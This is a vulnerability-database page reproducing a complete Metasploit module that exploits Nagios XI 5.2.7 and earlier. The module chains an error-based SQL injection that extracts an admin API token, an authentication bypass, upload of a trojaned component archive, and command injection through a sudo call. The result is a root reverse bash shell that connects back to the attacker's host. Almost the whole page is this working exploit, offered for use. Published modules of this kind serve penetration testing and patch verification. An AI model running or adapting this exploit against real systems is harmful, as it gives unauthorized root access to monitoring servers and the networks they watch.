Lucene search
K

Nagios XI Chained - Remote Code Execution (Metasploit)

🗓️ 06 Jul 2016 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 37 Views

Nagios XI Chained Remote Code Execution - SQL injection, auth bypass, file upload, command injection, privilege escalation <= 5.2.

Code
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Nagios XI Chained Remote Code Execution',
      'Description'     => %q{
        This module exploits an SQL injection, auth bypass, file upload,
        command injection, and privilege escalation in Nagios XI <= 5.2.7
        to pop a root shell.
      },
      'Author'          => [
        'Francesco Oddo', # Vulnerability discovery
        'wvu'             # Metasploit module
      ],
      'References'      => [
        ['EDB', '39899']
      ],
      'DisclosureDate'  => 'Mar 6 2016',
      'License'         => MSF_LICENSE,
      'Platform'        => 'unix',
      'Arch'            => ARCH_CMD,
      'Privileged'      => true,
      'Payload'         => {
        'Compat'        => {
          'PayloadType' => 'cmd cmd_bash',
          'RequiredCmd' => 'generic bash-tcp php perl python openssl gawk'
        }
      },
      'Targets'         => [
        ['Nagios XI <= 5.2.7', version: Gem::Version.new('5.2.7')]
      ],
      'DefaultTarget'   => 0,
      'DefaultOptions'  => {
        'PAYLOAD'       => 'cmd/unix/reverse_bash',
        'LHOST'         => Rex::Socket.source_address
      }
    ))
  end

  def check
    res = send_request_cgi!(
      'method' => 'GET',
      'uri'    => '/nagiosxi/'
    )

    return unless res && (html = res.get_html_document)

    if (version = html.at('//input[@name = "version"]/@value'))
      vprint_status("Nagios XI version: #{version}")
      if Gem::Version.new(version) <= target[:version]
        return CheckCode::Appears
      end
    end

    CheckCode::Safe
  end

  def exploit
    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Vulnerable version not found! punt!')
    end

    print_status('Getting API token')
    get_api_token
    print_status('Getting admin cookie')
    get_admin_cookie
    print_status('Getting monitored host')
    get_monitored_host

    print_status('Downloading component')
    download_profile_component
    print_status('Uploading root shell')
    upload_root_shell
    print_status('Popping shell!')
    pop_dat_shell
  end

  #
  # Cleanup methods
  #

  def on_new_session(session)
    super

    print_status('Cleaning up...')

    commands = [
      'rm -rf ../profile',
      'unzip -qd .. ../../../../tmp/component-profile.zip',
      'chown -R nagios:nagios ../profile',
      "rm -f ../../../../tmp/component-#{zip_filename}"
    ]

    commands.each do |command|
      vprint_status(command)
      session.shell_command_token(command)
    end
  end

  #
  # Exploit methods
  #

  def get_api_token
    res = send_request_cgi(
      'method'   => 'GET',
      'uri'      => '/nagiosxi/includes/components/nagiosim/nagiosim.php',
      'vars_get' => {
        'mode'   => 'resolve',
        'host'   => '\'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((' \
                    'SELECT backend_ticket FROM xi_users WHERE user_id=1' \
                    '),FLOOR(RAND(0)*2))x ' \
                    'FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- '
      }
    )

    if res && res.body =~ /Duplicate entry '(.*?).'/
      @api_token = $1
      vprint_good("API token: #{@api_token}")
    else
      fail_with(Failure::UnexpectedReply, 'API token not found! punt!')
    end
  end

  def get_admin_cookie
    res = send_request_cgi(
      'method'   => 'GET',
      'uri'      => '/nagiosxi/rr.php',
      'vars_get' => {
        'uid'    => "1-#{Rex::Text.rand_text_alpha(8)}-" +
                    Digest::MD5.hexdigest(@api_token)
      }
    )

    if res && (@admin_cookie = res.get_cookies.split('; ').last)
      vprint_good("Admin cookie: #{@admin_cookie}")
      get_csrf_token(res.body)
    else
      fail_with(Failure::NoAccess, 'Admin cookie not found! punt!')
    end
  end

  def get_csrf_token(body)
    if body =~ /nsp_str = "(.*?)"/
      @csrf_token = $1
      vprint_good("CSRF token: #{@csrf_token}")
    else
      fail_with(Failure::UnexpectedReply, 'CSRF token not found! punt!')
    end
  end

  def get_monitored_host
    res = send_request_cgi(
      'method'   => 'GET',
      'uri'      => '/nagiosxi/ajaxhelper.php',
      'cookie'   => @admin_cookie,
      'vars_get' => {
        'cmd'    => 'getxicoreajax',
        'opts'   => '{"func":"get_hoststatus_table"}',
        'nsp'    => @csrf_token
      }
    )

    return unless res && (html = res.get_html_document)

    if (@monitored_host = html.at('//div[@class = "hostname"]/a/text()'))
      vprint_good("Monitored host: #{@monitored_host}")
    else
      fail_with(Failure::UnexpectedReply, 'Monitored host not found! punt!')
    end
  end

  def download_profile_component
    res = send_request_cgi(
      'method'     => 'GET',
      'uri'        => '/nagiosxi/admin/components.php',
      'cookie'     => @admin_cookie,
      'vars_get'   => {
        'download' => 'profile'
      }
    )

    if res && res.body =~ /^PK\x03\x04/
      @profile_component = res.body
    else
      fail_with(Failure::UnexpectedReply, 'Failed to download component! punt!')
    end
  end

  def upload_root_shell
    mime = Rex::MIME::Message.new
    mime.add_part(@csrf_token, nil, nil, 'form-data; name="nsp"')
    mime.add_part('1', nil, nil, 'form-data; name="upload"')
    mime.add_part('1000000', nil, nil, 'form-data; name="MAX_FILE_SIZE"')
    mime.add_part(payload_zip, 'application/zip', 'binary',
                  'form-data; name="uploadedfile"; ' \
                  "filename=\"#{zip_filename}\"")

    res = send_request_cgi!(
      'method' => 'POST',
      'uri'    => '/nagiosxi/admin/components.php',
      'cookie' => @admin_cookie,
      'ctype'  => "multipart/form-data; boundary=#{mime.bound}",
      'data'   => mime.to_s
    )

    if res && res.code != 200
      if res.redirect? && res.redirection.path == '/nagiosxi/install.php'
        vprint_warning('Nagios XI not configured')
      else
        fail_with(Failure::PayloadFailed, 'Failed to upload root shell! punt!')
      end
    end
  end

  def pop_dat_shell
    send_request_cgi(
      'method'   => 'GET',
      'uri'      => '/nagiosxi/includes/components/perfdata/graphApi.php',
      'cookie'   => @admin_cookie,
      'vars_get' => {
        'host'   => @monitored_host,
        'end'    => ';sudo ../profile/getprofile.sh #'
      }
    )
  end

  #
  # Support methods
  #

  def payload_zip
    zip = Rex::Zip::Archive.new

    Zip::File.open_buffer(@profile_component) do |z|
      z.each do |f|
        zip.entries << Rex::Zip::Entry.new(
          f.name,
          (if f.ftype == :file
            if f.name == 'profile/getprofile.sh'
              payload.encoded
            else
              z.read(f)
            end
          else
            ''
          end),
          Rex::Zip::CM_DEFLATE,
          nil,
          (Rex::Zip::EFA_ISDIR if f.ftype == :directory)
        )
      end
    end

    zip.pack
  end

  #
  # Utility methods
  #

  def zip_filename
    @zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip'
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation